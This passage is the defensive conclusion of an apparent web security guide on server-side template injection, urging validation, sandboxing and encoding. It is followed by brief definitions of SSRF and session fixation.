As web technologies continue to evolve with new template engines, complex architectures (microservices, serverless), and sophisticated content management systems, the threat landscape for SSTI will continue to expand. Developers, security professionals, and organizations must stay vigilant, keep learning, and implement comprehensive security measures to protect against these evolving threats.
The key to effective SSTI prevention lies in secure design principles, defense-in-depth strategies, continuous monitoring, and proactive security testing. By understanding the mechanisms, techniques, and prevention methods of SSTI, organizations can significantly reduce their risk and protect their systems from this devastating attack vector.
Remember: SSTI vulnerabilities are not just technical issues - they represent serious business risks that can lead to data breaches, regulatory fines, reputational damage, financial losses, and complete system compromise. Taking SSTI security seriously and implementing proper security controls at every layer is essential for protecting your organization, your customers, your data, and your reputation.
The cost of prevention is always less than the cost of recovery - invest in SSTI protection now to avoid catastrophic consequences later. Validate all inputs, sandbox all templates, encode all outputs, implement security headers, and deploy comprehensive security measures to protect against SSTI vulnerabilities.
Security is not a one-time effort but a continuous process - stay informed about emerging threats, keep your systems updated, and maintain a proactive security posture to ensure the integrity, confidentiality, and availability of your web applications in today's complex threat landscape.
Your server's security is your business's security - don't let SSTI vulnerabilities compromise the trust your users have placed in your applications and services. Secure your templates, protect your servers, and maintain the integrity of your digital infrastructure in the face of evolving web security threats.
Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server to make unauthorized requests to internal or external systems, potentially exposing sensitive data or enabling further attacks.
Session Fixation
Session Fixation is a web security vulnerability where an attacker forces a user to use a known session ID, allowing the attacker to hijack the user session after authentication.
